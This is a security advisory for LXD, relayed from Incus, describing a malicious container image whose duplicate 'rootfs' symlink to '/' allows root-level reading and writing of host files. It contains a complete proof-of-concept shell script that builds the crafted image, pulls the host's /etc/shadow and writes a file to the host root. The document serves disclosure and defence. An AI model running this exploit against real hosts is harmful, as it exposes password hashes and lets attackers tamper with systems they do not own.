LXD has arbitrary file read+write on host via rootfs/ symlink in malicious image

Summary

Reported from https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv

### Summary

A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.

### Details

Incus validates an image as soon as it sees a normal `metadata.yaml` and a `rootfs/` entry, but full extraction can later process a duplicate top-level `rootfs` symlink. Later, the stopped-container file API opens `d.RootfsPath()` and passes that file descriptor to `forkfile`, which chroots to it.

``` metadata.yaml rootfs/ rootfs -> / ```

In practice, this allows a malicious actor to access the host's filesystem with root privileges.

### PoC

Below, we map the container's rootfs to `/` on the host, but it can be mapped anywhere. We then retrieve the host's `/etc/shadow` file and create a file in `/`.

``` #!/bin/sh set -eu

tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP

mkdir -p "${tmpdir}/img/rootfs" cat<<__EOF__>"${tmpdir}/img/metadata.yaml" architecture: x86_64 creation_date: 1 properties: description: PoC rootfs symlink host afrw __EOF__

cd "${tmpdir}/img" tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar

# inject rootfs symlink rmdir rootfs ln -s / rootfs tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs

incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink incus init afrw-rootfs-symlink afrw-rootfs-symlink

# read incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow" cat "${tmpdir}/shadow"

# write printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink" incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/ ```

### Impact

Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.